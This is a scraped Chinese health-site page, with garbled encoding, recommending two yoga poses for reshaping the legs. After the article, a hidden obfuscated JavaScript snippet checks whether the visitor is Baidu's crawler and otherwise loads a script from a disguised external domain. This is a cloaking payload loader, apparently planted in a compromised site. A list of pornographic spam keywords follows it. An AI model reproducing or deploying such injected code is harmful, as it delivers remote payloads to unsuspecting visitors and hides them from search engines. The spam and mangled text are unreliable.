當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

哪些瑜伽動(dòng)作能幫你矯正腿型

2017-04-14 14:58:36  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):擁有一雙修長(zhǎng)筆直的美腿對(duì)于女性而言是夢(mèng)寐以求的事情,尤其是看到電視里面那些,模特修長(zhǎng)的雙腿的時(shí)候都會(huì)由衷的羨慕,其實(shí)在生活當(dāng)中我們

擁有一雙修長(zhǎng)筆直的美腿對(duì)于女性而言是夢(mèng)寐以求的事情,尤其是看到電視里面那些,模特修長(zhǎng)的雙腿的時(shí)候都會(huì)由衷的羨慕,其實(shí)在生活當(dāng)中我們也是可以通過(guò)一些方法幫助自己矯正自己的腿型讓你的腿型,變得更加美麗的,下面就去了解一下哪些瑜伽動(dòng)作可以起到矯正腿型的作用。

因?yàn)樵谏町?dāng)中很多人都會(huì)受到無(wú)形對(duì)貨走外八內(nèi)八的困擾,雖然不是什么疾病但確實(shí)也會(huì)影響到自己的一個(gè)美觀所以說(shuō)我們需要掌握一些方法從而幫助自己起到矯正腿型的作用。

1、三角側(cè)伸展式

step1兩腿分開(kāi)約兩個(gè)肩寬,右腿向外垂直于左腿腳板,膝蓋彎曲呈弓步姿勢(shì)。兩手平舉至肩膀高度,掌心向前。

step2上身向右側(cè)彎曲,右手在右腿前,保持手臂呈"一"字形,直到手臂垂直于地面,然后將頭部向上抬起,看相左手指尖處。停住3-5個(gè)呼吸。

左右各重復(fù)5次。

這個(gè)動(dòng)作對(duì)于減少腰部 和大腿內(nèi)側(cè)的脂肪相當(dāng)有效,同時(shí)也能矯正腿部形態(tài)。

2、云雀式

step1右腿彎曲在身前,腳掌貼合恥骨處,左腿向后伸直。抬頭挺胸,雙手放在身體兩側(cè)。

step2上身向前彎曲,雙臂向前伸展,額頭觸地。停住3-5個(gè)呼吸。

左右腿交換在前重復(fù)相同動(dòng)作各5次。

這個(gè)動(dòng)作有美化臀部與拉伸雙腿的功效。你,

如果你覺(jué)得自己的腿型不夠完美的話,那么不妨嘗試上面所介紹的瑜伽動(dòng)作吧,因?yàn)樗谝欢ǔ潭壬暇涂梢云鸬匠C正的作用,而且還不會(huì)需要擔(dān)心是否會(huì)給自己的身體健康,帶來(lái)不利的影響,所以女性朋友都可以嘗試這些方法。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品2019| 久久夜色撩人精品国产| 无码日韩精品一区二区三区免费| 国产精品成人免费一区二区| 久久精品国产9久久综合| 精品人妻中文无码AV在线| 亚洲精品国产电影午夜| 精品999久久久久久中文字幕| 无码国内精品人妻少妇| 国产三级国产精品| 久这里只精品99re66| 日本精品视频一区二区三区| 久久久久99精品成人片| 久久久精品国产sm调教网站| 精品国产人成亚洲区| 国产精品福利一区二区久久| 久草视频在线这里精品| www.亚洲精品| 国产麻豆精品精东影业av网站| 91国内揄拍国内精品对白不卡| 国语自产拍精品香蕉在线播放| 九九免费久久这里有精品23| 国产乱码精品一区二区三区麻豆| 中文字幕免费视频精品一| 日韩精品中文字幕无码专区| 精品久久久久久无码不卡| 人人妻人人澡人人爽人人精品97| 国产精品免费观看久久| 精品一区二区三区在线播放视频 | 国产精品二区在线| 精品国产网红福利在线观看| 500av导航大全精品| 国产精品第二页在线播放| 最新欧美精品一区二区三区| 91国内揄拍国内精品情侣对白| 久久99精品久久久久久久野外 | 国产模特众筹精品视频| 无码人妻精品中文字幕免费 | 无码国产亚洲日韩国精品视频一区二区三区 | 久久精品国产精品亚洲艾草网美妙| 国产精品国产国产aⅴ|